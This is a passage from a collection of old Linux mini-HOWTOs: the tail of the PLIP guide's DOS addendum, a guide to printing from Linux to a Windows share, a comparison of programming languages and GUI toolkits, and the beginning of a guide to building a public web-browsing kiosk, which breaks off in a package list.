You will need to modify two files in the kernel source tree. I'm using kernel 1.2.13 and found some changes were needed in ../linux/drivers/net/Space.c to accommodate my system. Look at around line 205 for the PLIP definitions to make sure your port and IRQ match, and make a note of which driver it will be (plip0, plip1, plip2). In my case port 0x278 uses IRQ 5 (the card is jumpered that way) but Space.c defined it with IRQ 2. I made the changes here, rather than opening up the box and changing jumpers. The alternative is to specify the IRQ through ifconfig later on, but the kernel will boot up with the wrong IRQ for PLIP and it may annoy you. It is a simple (single character) change.

The next, and more difficult step:

In .../drivers/char/lp.c you will find the following at around line 38:

struct lp_struct lp_table[] = {
    { 0x3bc, 0, 0, LP_INIT_CHAR, LP_INIT_TIME, LP_INIT_WAIT, NULL, NULL, },
    { 0x378, 0, 0, LP_INIT_CHAR, LP_INIT_TIME, LP_INIT_WAIT, NULL, NULL, },
/*  { 0x278, 0, 0, LP_INIT_CHAR, LP_INIT_TIME, LP_INIT_WAIT, NULL, NULL, },
 * 0x278 reserved for plip1
 *
 * };
 * #define LP_NO 3
 */
};
#define LP_NO 2

Notice the changes to make- one port is commented out, so now only 2 ports are defined. Port 0x3BC will probably not work for PLIP- the IRQ line is usually broken on these ports, as found on old monochrome adapters (MDA).

You made backups of these file before you changed them, right? Now make a new kernel with printer, net, dummy, and plip support.

Configure the system. This is my /etc/rc.d/rc.inet1 file:

#!/bin/bash
#
/sbin/ifconfig lo 127.0.0.1
/sbin/route add -net 127.0.0.0

/sbin/ifconfig dummy 200.0.0.1
/sbin/route add -net 200.0.0.0 netmask 255.255.255.0
/sbin/ifconfig plip1 arp 200.0.0.1 pointopoint 200.0.0.2 up
/sbin/route add 200.0.0.2
/sbin/ifconfig dummy down

Notice that arp is used for the DOS-to-Linux connection, apparently not used on Linux-to-Linux connections.

And in /etc/hosts you can add these, just to give the two machines names:

200.0.0.1       console1
200.0.0.2       console2

The DOS box is console2. Note Andrea's warning about these, better to use official numbering schemes.

Reboot so all of these changes and the new kernel will take effect. During the boot sequence (or by running dmesg) if you made the patches, otherwise when the modules are loaded:

lp0 at 0x03bc, using polling driver
lp1 at 0x0378, using polling driver
[....]
NET3 PLIP version 2.0 gniibe@mri.co.jp
plip1: Parallel port at 0x278, using assigned IRQ 5.

The "route" command shows this:

Kernel routing table
Destination     Gateway         Genmask         Flags MSS    Window Use Iface
console2        *               255.255.255.255 UH    1436   0      136 plip1
loopback        *               255.0.0.0       U     1936   0      109 lo

And "ifconfig plip1" shows:

plip1     Link encap:10Mbps Ethernet  HWaddr FC:FC:C8:00:00:01
          inet addr:200.0.0.1  P-t-P:200.0.0.2  Mask:255.255.255.0
          UP POINTOPOINT RUNNING  MTU:1500  Metric:1
          RX packets:132 errors:0 dropped:0 overruns:0
          TX packets:136 errors:0 dropped:0 overruns:0
          Interrupt:5 Base address:0x278

Look at /etc/inetd.conf and see if telnet is enabled. You might want to read the man page for tcpd, and the use of /etc/hosts.allow (ALL: LOCAL) and /etc/hosts.deny (ALL: ALL). You should be able to "telnet localhost".

Linux is done, now the DOS side. Again, be suspicious of port 0x3BC if one is present.

I'm using NCSA's telnet and Crynwr's PLIP driver found at these sites:

ftp://ftp.ncsa.uiuc.edu/Telnet/DOS/ncsa/tel2308b.zip

ftp://ftp.crynwr.com/drivers/plip.zip

Be sure to use NCSA's version 2.3.08 telnet and version 11.1 of Crynwr's PLIP driver. Please find and read Crynwr's SUPPORT.DOC located elswhere.

The CONFIG.TEL file. Most of it is the default and to save some space I've tried to cut it back here to just the info you need (hopefully). The second port on this machine is setup as 0x278 on IRQ 5.

myip=200.0.0.2
netmask=255.255.255.0       # subnetting mask
hardware=packet             # network adapter board (packet driver interface)
interrupt=5                 # IRQ which adapter is set to
ioaddr=60                   # software interrupt vector driver is using
#
#[...lots unchanged...]
#
# at the end of the file, put this line:
name=console1 ; hostip=200.0.0.1 ; nameserver=1 ; gateway=1

(console1 is the name of the Linux machine, you can use whatever you like)

I made a 12 foot null cable between both machines, and (after initially finding it miswired) there have been no problems. A standard 11-wire null printer cable should work too. The Linux plip.c source shows the wiring. Although my cable has the 17-17 connection, I don't think it is used for anything and was not present on a ready-made cable.

@echo off
plip.com 0x60 5 0x278
telbin -s console1

That should connect you to the Linux box on /dev/ttyp. NCSA's telnet provides for 8 virtual screens and also acts as an ftp server. The PLIP interface provides a fair throughput, I'm getting 6.5K/s file transfers with my antiques. Let's hope you can do better. :-)


LINUX PLIP MINI-HOWTO: PLIP between Linux and Windows 95.

 Next Previous Contents

10. PLIP between Linux and Windows 95.

This section is empty. I use windows 95 for nothing serious but games, so I don't try and don't care about a PLIP link with Linux. The questions about such a link have won the most asked question contest, so I give here a (so far) definitive answer.

No, so far nobody reported me a successful link between Linux and Windows 95. if somebody succeds in setting up this link, please let me know immediately: thousand of PLIP users await these news!


LINUX PLIP MINI-HOWTO: Questions? Comments? Send me feedback.

 Next Previous Contents

11. Questions? Comments? Send me feedback.

For any questions and comments you can find me via e-mail at the address controzz@cli.di.unipi.it

Feedback is welcome, any error report is precious. The next release will have an even larger FAQ section, if you send questions and, of course, the answers if you find them by yourself.

Please do not send questions already present in the FAQ.

If you have to ask me for help, please be sure to let me know any information that can help me, at least: kernel version, commands used, error messages, the cable you used and any other system message related to PLIP.

Please remember not to send me any question about PLIP with DOS/Windows 3.1/Windows 95, I can't help you. These questions should be sent to James Vahn jvahn@short.circuit.com, who sent me the DOS addendum. Again: it's useless to ask him or me about PLIP with Windows 95.


LINUX PLIP MINI-HOWTO: Where to find new releases of this mini-howto.

 Next Previous Contents

12. Where to find new releases of this mini-howto.

This mini-HOWTO is maintained by the HOWTO coordinators and is posted monthly on comp.os.linux.answers and can be found in the HOWTO directory at sunsite and at sunsite's mirrors.

Another way to find the mini-HOWTO (and to contact me) is on my Home Page,

http://www.cli.di.unipi.it/~controzz/intro.html (italian language)

http://www.cli.di.unipi.it/~controzz/intro_e.html (english language)


LINUX PLIP MINI-HOWTO: Credits.

 Next Previous Contents

13. Credits.

Many thanks to:

  • Rick Lim <ricklim@freenet.vancouver.bc.ca> for the patches to make PLIP and LP live together.
  • Takeshi Okazaki <GBA03552@niftyserve.or.jp> for the patches to use PLIP and LP on two different parallel ports.
  • Jim Van Zandt <jrv@vanzandt.mv.com> for some advice on the "tutorial" part of this HOWTO.
  • Fernando Molina <fmolina@nexo.es> for useful comments about IRQs and IO Addresses.
  • James Vahn <jvahn@short.circuit.com> for the cool addendum on the PLIP between DOS and Linux chapter.
  • To all the users that posted PLIP-related articles on the linux newsgroups and/or mailed me. The list of all the people that helped me with info and comments could be longer than the Mini-HOWTO itself: thank you all!


LINUX PLIP MINI-HOWTO: Copyright message.

 Next Previous Contents

14. Copyright message.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Greg Hankins, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu via email.


The Linux Print2Win mini-HOWTO

Marcelo Pereira da Silva, marcelo@pereira.com

v1.1, Jan 2002

This howto contains the general configuration to get linux printing to a Windows print share.

1. Introdution

2. Server (Windows)

3. Client (Linux)

  • 3.1 Standard lpr

4. /etc/printcap TIPS

5. License

6. Credits


The Linux Print2Win mini-HOWTO: Introdution

 Next Previous Contents

1. Introdution

As we want the print service running, let set up all the environment step by step, to avoid mistakes or bad configurations.

First, set up the server, so when you have the server running, go to the clients and configure them.


The Linux Print2Win mini-HOWTO: Server (Windows)

 Next Previous Contents

2. Server (Windows)

There is no special rules when configurating the server. Just install the printer driver in the Windows server, test it to certificate the printer is running properly, so share the printer.


The Linux Print2Win mini-HOWTO: Client (Linux)

 Next Previous Contents

3. Client (Linux)

The setup of the client is almost the same when you are setting up the printcap to print linux to linux, with some changes.

3.1 Standard lpr

The simplest way to do it is adding an entry in /etc/printcap. As a quick example, the entry for a generic matricial printer would be:

# EPSON LX300
  epson:\
      :sd=/var/spool/lpd/epson:\
      :mx#0:\
      :sh:\
      :if=/var/spool/lpd/epson/filter:\
      :lp=/dev/null:

* Make sure you are using the correct filter, or the right generic one.

Be sure you have created the directory /var/spool/lpd/epson, and the users you wish to use the printer have the right access to this.

For example, let the Windows Print Server be called by meriadoc, it IP=192.168.1.49 and the printer (at Windows) are shared as epsonLX.

So, you have to configure /var/spool/lpd/epson/.config like this:

share='\\meriadoc\epsonLX'
hostip=192.168.1.49
Where:
  • share='\\windows-print-server-name\print-share-name'
  • hostip=windows-print-server-IP

Once your /etc/printcap is configured, you have to enable the print share:

[localhost]$ lpc up epson
[localhost]$ lpc enable epson
If everything is ok, you can send jobs to the queue:
[localhost]$ lpr -Pepson <file>


The Linux Print2Win mini-HOWTO: /etc/printcap TIPS

 Next Previous Contents

4. /etc/printcap TIPS

I have used the entry below in the first example, but this is not a particularly good idea:

...
   :lp=/dev/null:\
Because lpr does an `exclusive' open on the file you specify as lp=. It does this in order to prevent multiple processes from trying to print to the dame printer at the same time.

The side effect of this is that in your case, eng and colour can't print at the same time, (usually more or less transparent since they probably print quickly and since they queue you probably don't notice) but any other process that tries to write to /dev/null will break!

On a single user system, probably not a big problem. I have a system with over 50 printers. It would be a problem there.

The solution is to create a dummy printer for each. Eg: touch /dev/eng.

[localhost]$ touch /dev/eng
[localhost]$ touch /dev/colour


The Linux Print2Win mini-HOWTO: License

 Next Previous Contents

5. License

This document, Print2Win-HOWTO, is copyrighted (c) 2001-2002 by Marcelo Pereira da Silva. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html.


The Linux Print2Win mini-HOWTO: Credits

 Next Previous Contents

6. Credits

Thanks to all those who sent opinions about this document, to everybody who told me some printing tips, to Rick Bressler, and a special thanks to Harish Pillay, whose I don't know, but wrote the first version of this document.


Programming Languages mini-HOWTO

Risto S. Varanka

Jul 22nd 2000

A brief comparison of major programming languages for Linux and major libraries for creating graphical user interfaces (GUIs) under Linux

1. Introduction

  • 1.1 Latest Version of the Document
  • 1.2 Copyright
  • 1.3 License
  • 1.4 Disclaimer
  • 1.5 Author
  • 1.6 Credits
  • 1.7 Links

2. Programming Languages

  • 2.1 Concepts in the Table
  • 2.2 Major Languages
  • 2.3 Shell Programming
  • 2.4 Other Languages
  • 2.5 Links

3. GUI Toolkits

  • 3.1 Concepts in the Table
  • 3.2 Major GUI Toolkits
  • 3.3 Links


Programming Languages mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

Linux is a fascinating operating system because it lets any user participate in its development. The variety of available languages, however, can be confusing to beginning Linux developers. This document lists the most common options for everyday development and states some key facts about them. (Well, ``most common'' and ``key'' as I perceive them.)

My aim is neither to review the languages nor to determine which one is the best. Each language is a tool that fits some jobs and some tastes. You can get further (often conflicting) information easily, if you ask around or keep your ears open. The Links sections in this document will give you some pointers for your own research.

There is a plethora of languages and libraries for Linux, so this document only covers the most common languages and GUI (Graphical User Interface) toolkits at the moment. This document is intended to be fairly neutral, but I haven't included all languages available. Since my judgment is undoubtedly biased in many ways, I advise serious developers to check out the sites that do a better job in listing all languages and libraries. Also note that only the Linux implementations of the languages and GUI toolkits are covered, their features on other platforms are not discussed or implied.

This document is a recent addition to the LDP, so there has not been opportunity for much community feedback. However, it is released in hopes that it will prove useful for people interested in programming under Linux, especially beginners. A question mark in the tables indicates lack of information. If you can fill it in, please contact the author.

1.1 Latest Version of the Document

You can find the latest modifications at http://www.helsinki.fi/~rvaranka/Computer/Linux/HOWTO/

1.2 Copyright

Copyright (c) 2000 Risto Varanka.

1.3 License

The following license terms apply to all LDP documents, unless otherwise stated in the document. The LDP documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, provided that this license notice is displayed in the reproduction. Commercial redistribution is permitted and encouraged. Thirty days advance notice via email to the author(s) of redistribution is appreciated, to give the authors time to provide updated documents.

Requirements of Modified Works

All modified documents, including translations, anthologies, and partial documents, must meet the following requirements:

  1. The modified version must be labeled as such.
  2. The person making the modifications must be identified.
  3. Acknowledgement of the original author must be retained.
  4. The location of the original unmodified document be identified.
  5. The original author's (or authors') name(s) may not be used to assert or imply endorsement of the resulting document without the original author's (or authors') permission.

In addition it is requested that:

  1. The modifications (including deletions) be noted.
  2. The author be notified by email of the modification in advance of redistribution, if an email address is provided in the document.

As a special exception, anthologies of LDP documents may include a single copy of these license terms in a conspicuous location within the anthology and replace other copies of this license with a reference to the single copy of the license without the document being considered ``modified'' for the purposes of this section.

Mere aggregation of LDP documents with other documents or programs on the same media shall not cause this license to apply to those other works.

All translations, derivative documents, or modified documents that incorporate any LDP document may not have more restrictive license terms than these, except that you may require distributors to make the resulting document available in source format.

1.4 Disclaimer

THIS DOCUMENT COVERS A LARGE AND CONSTANTLY CHANGING DOMAIN. THEREFORE, THE INFORMATION CONTAINED IN THIS DOCUMENT MAY BE INCORRECT OR OUTDATED. ALL USE OF THIS DOCUMENT AND ALL INFORMATION CONTAINED IN IT IS AT YOUR OWN RISK. THE AUTHOR DOES NOT GIVE ANY WARRANTY OR GUARANTEE, EITHER EXPLICIT OR IMPLIED.

1.5 Author

You are welcome to send feedback to the author at: risto.varanka@helsinki.fi.

Author's web site can be found at http://www.helsinki.fi/~rvaranka/.

1.6 Credits

I am thankful to several people who commented on language issues. These conversations have given me a better view of the different languages, and I hope future conversations will allow this mini-HOWTO to mature over time. Especially I would like to thank the people at the IRCNet channel #linux: Morphy, Bluesmurf, Vadim, Zonk^, Rikkus and others whose names I have forgotten. Thanks go also to Stig Erik Sandoe for helpful comments.

1.7 Links

Exhaustive lists of Linux development libraries and tools:

  • Freshmeat
  • Linux Development Tools
  • linuxprogramming.com

The Hacker FAQ by Eric S. Raymond is another interesting text for novice Linux developers. It concentrates on some cultural and psychological aspects of open source development.

Other LDP documents covering general programming subjects include the Reading List HOWTO and the Linux Programmer's Guide - several more have been written on specific subjects.


Programming Languages mini-HOWTO: Programming Languages

 Next Previous Contents

2. Programming Languages

C, Lisp and Perl are traditional hacking languages in the GNU/Linux culture; Python, PHP, Java and C++ have gained new ground recently.

2.1 Concepts in the Table

Language

A common name of the language.

Beginner

Indicates how well suited the language is for people with little programming experience. A language marked with ``yes'' should be viable for a beginner's first programming language.

Performance

How fast your applications are likely to run when you put them into production use. Performance depends more on your algorithmic programming skills than the actual language. As a rule of thumb, C, C++ and Fortran are sometimes necessary because they can offer better performance than other languages - at other times they might be unwieldy for the desired purpose. (One idea for unscientific ``benchmarking'' of the languages would be to implement a simple sorting algorithm in all of them and compare running times. This of course does not measure the performance of the actual language - since that concept does not make sense - but only the implementation. Of course it's also not a very reliable or thorough method, but it would give an example how running times in different languages can differ. Anybody want to help me with this?)

OOP, Object-Oriented Programming vs. other paradigms

Object-oriented programming is an important programming paradigm that is gaining popularity. In object oriented programming, data structures and algorithms are integrated into units, often called classes. OOP is often contrasted with procedural programming (which uses separate algorithms and data structures). It is not strictly dependent on language: you can do OOP in languages not listed as such (C for example), and program in the procedural style in languages that are listed as OOP. I've listed as OOP languages that have special features or add-ons to facilitate OOP. Functional languages (Lisp for example) are a bit different breed - among other things, functional programming is a superset of OOP. Logic programming (Prolog), also called declarative programming, on the other hand, is not related to the other types of programming in a similar sense.

RAD, Rapid Application Development

More dependent on the tools you are using than the actual language. There is a HOWTO on GUI development tools for Linux, although it's out of date. With a good graphical tool you can do RAD. RAD can be powerful when based on code reuse as well, so free software could provide a good starting point.

Examples

Mentions fields of programming the language is most often used in. Other good (and bad) uses exist, but they are less typical.

Comments

Additional information on the language, like capacities and dialects.

2.2 Major Languages

Perl
Beginner: Yes - OOP: Yes
Examples: Scripting, sysadmin, www
Comments: Powerful for handling text and strings

Python
Beginner: Yes - OOP: Yes
Examples: Scripting, application scripting, www
Comments:

TCL
Beginner: Yes - OOP: No
Examples: Scripting, sysadmin, applications
Comments:

PHP
Beginner: Yes - OOP: Yes
Examples: Www
Comments: Popular for web databases

Java
Beginner: Yes - OOP: Yes
Examples: Cross-platform applications, www
Comments: Spreading to new areas, eg. e-commerce infrastructure

Lisp
Beginner: Yes - OOP: Functional
Examples: Emacs modes (for Elisp), AI
Comments: Variants Elisp, Clisp and Scheme

Fortran
Beginner: No  - OOP: No
Examples: Mathematical (scientific) applications
Comments: Variants f77 and f90/95

C
Beginner: No  - OOP: No
Examples: System programming, applications
Comments:

C++
Beginner: No  - OOP: Yes
Examples: Applications
Comments:

2.3 Shell Programming

Shells are an important programming environment, too. I haven't covered them because I don't understand the field very thoroughly yet. Knowledge of shells is important for anyone who works on Linux regularly, more so for system administrators. There are similarities between shell programming and other kinds of scripting - often they can achieve the same goals, and you have the option of choosing between native shell and a separate scripting language. Among the most popular shells are bash, tcsh, csh, ksh and zsh. You can get basic information on your shell with the man command, man bash for example.

2.4 Other Languages

Other languages of note: AWK, SED, Smalltalk, Eiffel, Ada, Prolog, assembler, Objective C, Logo, Pascal (p2c converter)

2.5 Links

  • A general info site on programming languages, lots of info and opinions
  • TCL
  • Perl
  • Python
  • PHP
  • Java
  • clisp


Programming Languages mini-HOWTO: GUI Toolkits

 Next Previous Contents

3. GUI Toolkits

The standard graphical subsystem for UNIX and Linux, called X, has its own libraries for GUI development. They provide a low-level programming interface to X, but tend to be hard to use. Old end-user applications and other toolkits of course make good use of them. Nowadays the Linux GUI scene is dominated by GTK+ and Qt, since two popular, complete user environments - GNOME and KDE - are based on them.

3.1 Concepts in the Table

Library

Common name or abbreviation of the toolkit.

Beginner

Whether the toolkit is suitable for a newbie programmer.

License

Different licenses for different GUI toolkits have practical significance. GTK+, TK and GNUstep licenses allow you to develop both open source and closed source applications without paying for a license. Motif license requires payment, while the QT license requires payment only if you write closed source programs.

Language

The language that is most often used with the toolkit.

Bindings

Other languages which can use the toolkit.

Examples

Applications that use the toolkit.

Comments

Additional information on the toolkit.

3.2 Major GUI Toolkits

Library | Beginner | License | Language | Bindings | Examples | Comments
TK | Yes | Free | TCL | Perl, Python, others | make xconfig, TKDesk |
GTK+ | No | Free (LGPL) | C | Perl, C++, Python, many others | GNOME, Gimp | Very popular
QT | No | Free for open source | C++ | Python, Perl, C, others? | KDE | Very popular
Motif | No | Non-free | C/C++ | Python, others? | Netscape, Wordperfect | Lesstif isa free replacement
GNUstep | No | Free (LGPL) | Objective C | Guile, Java? | None widely known, but see the application list | GNUstep is still under development

3.3 Links

  • TK
  • GTK+
  • QT
  • Motif
  • GNUstep


Linux web browser station (formerly "The Linux Public Web Browser mini-HOWTO")

Anton Chuvakin, anton@chuvakin.org

v0.0.5 10 October 2000

Describes the setup of Internet kiosk-type system based on Linux to be deployed to provide public Internet/webmail access.

1. Introduction

  • 1.1 Disclaimer
  • 1.2 Credits
  • 1.3 New versions of this document
  • 1.4 Changes Fri Sep 22 14:32:32 EDT 2000
  • 1.5 TODO
  • 1.6 Feedback
  • 1.7 Copyright information

2. OLD GUIDE: The Linux Public Web Browser mini-HOWTO by Donald B. Marti Jr.,

  • 2.1 Copyright and Disclaimer
  • 2.2 Introduction
  • 2.3 Before you begin
  • 2.4 Add the guest account
  • 2.5 Create or edit the following files in /home/guest
  • 2.6 Make a .netscape directory for guest
  • 2.7 Try it
  • 2.8 Changing preferences

3. NEW GUIDE: Step-by-step guide

  • 3.1 Install RH
  • 3.2 Clean-up packages
  • 3.3 Install ssh
  • 3.4 Make a boot floppy
  • 3.5 Modify configs
  • 3.6 Create user
  • 3.7 Change Netscape settings
  • 3.8 Chown the home directory
  • 3.9 Config lilo
  • 3.10 REMOVE binaries
  • 3.11 Physical security
  • 3.12 Some final touches

4. Conclusion

5. References


Linux web browser station (formerly "The Linux Public Web Browser mini-HOWTO"): Introduction

 Next Previous Contents

1. Introduction

The directions below will produce the RedHat (currently version 6.2 is used, 7.0 is in development) Linux system that boots into the bare (=no window manager, like gnome, kde or fvwm2) X server and starts Netscape Navigator (not Communicator, which includes Main and News clients). Upon exiting the browser the X server is restarted and the new Netscape process is launched as needed. The system is intended for Internet Kiosks and similar applications. Security is emphasized at all the stages of the setup.

This HOWTO will be updated (maybe significantly) as long as more reports about the deployment of such boxes will arrive.

1.1 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.2 Credits

In this version I have the pleasure of acknowledging the previous maintainer of this HOWTO who nicely agreed to transfer it to me

dmarti@????.com

1.3 New versions of this document

New versions of this document can be found at

http://www.chuvakin.org/kiodoc

1.4 Changes Fri Sep 22 14:32:32 EDT 2000

from 0.0.4 to 0.0.3

  • Merged with old HOWTO

from 0.0.2 to 0.0.3

  • references added
  • abstract finished

1.5 TODO

  • Write abstract
  • Suggested hardware
  • .Xdefaults disable some keys (Alt-Ctrl-F1)
  • X server port 6000 attacks, do something about them
  • X server under root, bad
  • Eliminate more unneeded RPMs
  • Implement /etc/pam.d/limits.conf to prevent netscape bloat and system crash (well, by causing it to crash before bloat ;-) ), see Security HOWTO
  • Protect some files with chattr is nice
  • Provided CDROM booting considerations
  • Redo everything for RedHat 7.0

1.6 Feedback

All comments, error reports, additional information (very much appreciated!!!) and criticism of all sorts should be directed to: anton@chuvakin.org

http://www.chuvakin.org/

My PGP key is located at http://www.chuvakin.org/pgpkey

1.7 Copyright information

This document is copyrighted (c) 2000 Anton Chuvakin, and parts of it are Copyright 1997 Donald B. Marti Jr. where marked as such


Linux web browser station (formerly "The Linux Public Web Browser mini-HOWTO"): OLD GUIDE: The Linux Public Web Browser mini-HOWTO by Donald B. Marti Jr.,

 Next Previous Contents

2. OLD GUIDE: The Linux Public Web Browser mini-HOWTO by Donald B. Marti Jr.,dmarti@best.com

v0.3, 5 January 1998

The basic idea here is to give web access to people who wander by, while limiting their ability to mess anything up.

2.1 Copyright and Disclaimer

Copyright 1997 Donald B. Marti Jr. This document may be redistributed under the terms of the Linux Documentation Project license.

This document currently contains information for Netscape Navigator only, but I plan to add notes for other browsers too as I get the necessary information. If you try this with a different browser, please let me know.

2.2 Introduction

The basic idea here is to give web access to people who wander by, while limiting their ability to mess anything up.

This setup was originally intended for trade shows, but it might be applicable other places you want to have a web browser going without having to babysit a computer.

Following these instructions does not make your system bulletproof or idiot-proof.

2.3 Before you begin

You need a graphical browser

This document assumes that you already have a running graphical web browser, such as Netscape Navigator, on your system. You should have permission to use your graphical web browser. If you want to use Netscape Navigator in a commercial setting, you can buy a copy with appropriate license through Caldera.

You need to be able to add an account

If you don't have the right to be root, get the system administrator to add the ``guest'' account and give you ownership of guest's home directory. Skip to the ``Create or edit the following files'' step ( Create or edit the following files in /home/guest) when he or she is done.

You need httpd for a stand-alone web browsing station

If you are setting up a web browsing station to run stand-alone, without a network connection, you should have httpd working and the web documents installed. To tell if this is the case, enter:

lynx -dump http://localhost/
You should get the text of the home page on your system.

2.4 Add the guest account

As root, run adduser to add a user named guest. Then enter

passwd guest
to set the password for the guest account. This should be something easy to remember, like ``guest''. You will be telling people this password. Don't make it the same as your own password.

Then make guest's home directory owned by you. Enter

chown me.mygroup /home/guest
Replace ``me'' with your regular username and ``mygroup'' with your group name. (On Red Hat Linux, these will be the same, since every user has his or her own group.)

You should now exit and do the rest of the steps as yourself, not root.

2.5 Create or edit the following files in /home/guest

File name: .bash_login

exec startx
This means that when guest logs in, the login shell will start up the X Window System right away.

File name: .Xclients

netscape
This means that when X starts, guest just gets the web browser, no window manager. If you prefer another web browser, do something else.

The file .Xclients should be executable by guest. Enter

chmod 755 /home/guest/.Xclients
to make it so.

File name: .xsession

#!/bin/sh
netscape
If you use xdm(1) to log people in, this file should make guest get the web browser as if he or she had logged in normally. The file .xsession should be executable by guest. Enter
chmod 755 /home/guest/.xsession
to make it so.

File name: .Xdefaults

! Disable drag-to-select.
*hysteresis:                            3000

! Make visited and unvisited links the same color by default
*linkForeground:                        #0000EE
*vlinkForeground:                       #0000EE

Netscape.Navigator.geometry: =NETSCAPE_GEOMETRY

! Disable some of the keyboard commands.
*globalTranslations:

! Mouse bindings: make all mouse buttons do the same thing.
*drawingArea.translations:              #replace                        \
<Btn1Down>:                     ArmLink()                       \n\
<Btn2Down>:                     ArmLink()                       \n\
<Btn3Down>:                     ArmLink()                       \n\
~Shift<Btn1Up>:                 ActivateLink()                  \
                                DisarmLink()                    \n\
~Shift<Btn2Up>:                 ActivateLink()                  \
                                DisarmLink()                    \n\
~Shift<Btn3Up>:                 ActivateLink()                  \
                                DisarmLink()                    \n\
Shift<Btn1Up>:                  ActivateLink()                  \
                                DisarmLink()                    \n\
Shift<Btn2Up>:                  ActivateLink()                  \
                                DisarmLink()                    \n\
Shift<Btn3Up>:                  ActivateLink()                  \
                                DisarmLink()                    \n\
<Btn1Motion>:                   DisarmLinkIfMoved()             \n\
<Btn2Motion>:                   DisarmLinkIfMoved()             \n\
<Btn3Motion>:                   DisarmLinkIfMoved()             \n\
<Motion>:                       DescribeLink()                  \n\
This file disables blink tags, drag-to-select, and some of the keyboard commands. It also makes all mouse buttons do the same thing, hides the menu bar, and makes visited and unvisited links the same color, so each visitor gets nice clean blue links, not ones that other people have been thumbing through and staining purple.

You should replace the NETSCAPE_GEOMETRY in this file with an X geometry that looks like this: XxY+0-0, where X is the width of your screen and Y is the height of your screen + 32. This will position the Netscape menu bar off the top of the screen, so the user won't be distracted. For example, if your screen is 800x600, the geometry should be 800x632+0-0.

2.6 Make a .netscape directory for guest

Enter

mkdir /home/guest/.netscape
chmod 777 /home/guest/.netscape

to create guest's .netscape directory and make it world-writable.

2.7 Try it

Log out, then log in as guest.

2.8 Changing preferences

Since you won't be able to use the menu bar as guest, you should edit guest's preferences manually if you need to change them, or change your own preferences to what you want guest's to be and copy the preferences file.


Linux web browser station (formerly "The Linux Public Web Browser mini-HOWTO"): NEW GUIDE: Step-by-step guide

 Next Previous Contents

3. NEW GUIDE: Step-by-step guide

3.1 Install RH

Install RedHat (further just RH) Linux on the box. Make sure shadow and MD5 passwords are enabled. And have a nice long root password! Refer to corresponding installation guides.

3.2 Clean-up packages

RH Linux was and is *really* buggy out of the box (both local and remote exploits are discovered every day, see BugTRAQ database), and many software packages installed by default can be used to obtain root shell from non-privileged account or in the worst cases across the network (or just mess up the box). Thus special attention should be given to package selection on the browser workstation.

  • Use workstation or custom installation mode. The latter is recommended, when selecting groups of packages, only choose base-system, networked workstation, mail/www services (make sure you later replace Communicator with Navigator) and X packages and then erase the unneeded RPMs. If using workstation mode you will have to (possibly manually) remove about 300 packages.
  • When partitioning the disk follow the scheme below. The sizes are appropriate for the 3 GB disk, scale the sizes accordingly for bigger drive but this is really not needed for this setup as the whole Linux system is squeezed to under 200MB. Make sure those partitions (/,/home,/var and /tmp) are present! Separate /usr is not necessary! Remember to create a generous swap partition (at least the size of RAM).

    Partitions mount points and sizes used for a test system:

Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/hda1              1571528    184184   1307512  12% /
/dev/hda7               300603       309    284773   0% /home
/dev/hda6               300603        20    285062   0% /tmp
/dev/hda5               809556      4640    763792   1% /var
  • Remove all RPMs but those (list might be shortened later and automatic RPM-removal shell script might be written as well)

MAKEDEV-2.5.2-1
SysVinit-2.78-5
X11R6-contrib-3.3.2-11
XFree86-100dpi-fonts-3.3.6-20
XFree86-3.3.6-20
XFree86-75dpi-fonts-3.3.6-20
XFree86-S3-3.3.6-20
XFree86-SVGA-3.3.6-20
XFree86-VGA16-3.3.6-20
XFree86-libs-3.3.6-20
XFree86-xfs-3.3.6-20
Xconfigurator-4.3.5-1
apmd-3.0final-2
ash-0.2-20
at-3.1.7-14
audiofile-0.1.9-3
authconfig-3.0.3-1
basesystem-6.0-4
bash-1.14.7-22
bc-1.05a-5
bdflush-1.5-11
binutils-2.9.5.0.22-6
bzip2-0.9.5d-2
chkconfig-1.1.2-1
chkfontpath-1.7-2
console-tools-19990829-10
cracklib-2.7-5
cracklib-dicts-2.7-5
crontabs-1.7-7
dev-2.7.18-3
diffutils-2.7-17
e2fsprogs-1.18-5
ed-0.2-13
eject-2.0.2-4
etcskel-2.3-1
file-3.28-2
filesystem-1.3.5-1
fileutils-4.0-21
findutils-4.1-34
freetype-1.3.1-5
gawk-3.0.4-2
gd-1.3-6
gdbm-1.8.0-3
getty_ps-2.0.7j-9
glib-1.2.6-3
glib10-1.0.6-6
glibc-2.1.3-15
gmp-2.0.2-13
gpm-1.18.1-7
grep-2.4-3
groff-1.15-8
gtk+-1.2.6-7
gzip-1.2.4a-2
hdparm-3.6-4
imlib-1.9.7-3
indexhtml-6.2-1
info-4.0-5
initscripts-5.00-1
iputils-20000121-2
isapnptools-1.21b-1
kbdconfig-1.9.2.4-1
kernel-2.2.14-5.0
kernel-utils-2.2.14-5.0
krb5-configs-1.1.1-9
krb5-libs-1.1.1-9
kudzu-0.36-2
ld.so-1.9.5-13
ldconfig-1.9.5-16
less-346-2
libc-5.3.12-31
libgr-2.0.13-23
libgr-progs-2.0.13-23
libjpeg-6b-10
libpng-1.0.5-3
libstdc++-2.9.0-30
libtermcap-2.0.8-20
